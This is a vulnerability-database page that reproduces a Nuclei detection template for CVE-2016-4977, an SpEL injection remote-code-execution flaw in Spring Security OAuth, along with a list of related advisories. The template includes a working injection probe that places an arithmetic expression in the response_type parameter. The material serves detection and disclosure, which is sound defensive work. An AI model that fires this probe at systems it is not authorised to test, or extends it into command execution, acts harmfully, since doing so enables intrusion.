Lucene search
+L

Spring Security OAuth2 Remote Command Execution

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 221 Views

Spring Security OAuth2 Remote Command Execution vulnerability in versions 1.0.0 to 1.0.5 and 2.0.0 to 2.0.9 allows remote code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2016-4977
8 Oct 202622:16
–githubexploit
circl
Circl
CVE-2016-4977
20 Jun 202201:10
–circl
cnvd
CNVD
Spring Security OAuth Remote Command Execution Vulnerability
27 Aug 201600:00
–cnvd
checkpoint_advisories
Check Point Advisories
Pivotal Spring Security OAuth SpelView Code Execution (CVE-2016-4977)
20 Nov 201600:00
–checkpoint_advisories
cve
CVE
CVE-2016-4977
25 May 201717:00
–cve
cvelist
Cvelist
CVE-2016-4977
25 May 201717:00
–cvelist
github
Github Security Blog
Spring Security OAuth vulnerable to remote code execution (RCE) via specially crafted request using whitelabel views
18 Oct 201818:06
–github
kitploit
Kitploit
CVE-2016-4977-POC
24 Oct 202606:40
–kitploit
kittysploit
KittySploit
Spring Security OAuth2 Remote Command Execution Detection
28 Jul 202611:27
–kittysploit
mend
Mend
CVE-2016-4977
25 May 201717:00
–mend
Rows per page
id: CVE-2016-4977

info:
  name: Spring Security OAuth2 Remote Command Execution
  author: princechaddha
  severity: high
  description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
  remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md
    - https://tanzu.vmware.com/security/cve-2016-4977
    - https://nvd.nist.gov/vuln/detail/CVE-2016-4977
    - https://pivotal.io/security/cve-2016-4977
    - http://www.openwall.com/lists/oss-security/2019/10/16/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-4977
    cwe-id: CWE-19
    epss-score: 0.79176
    epss-percentile: 0.996
    cpe: cpe:2.3:a:pivotal:spring_security_oauth:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pivotal
    product: spring_security_oauth
  tags: cve2016,cve,oauth2,oauth,rce,ssti,vulhub,spring,pivotal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Unsupported response types: [978015547]"

      - type: status
        status:
          - 400
# digest: 4a0a004730450221009bbf9e49a8bbe60115e8182bff760cdbe1d6fe32f6ba9ab6339289815854a5e2022008606bcf3e99479c5527bf97fb220dd97e5b60a8f38ac63eebae03cb497aa6c4:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 38.8
EPSS0.79176
221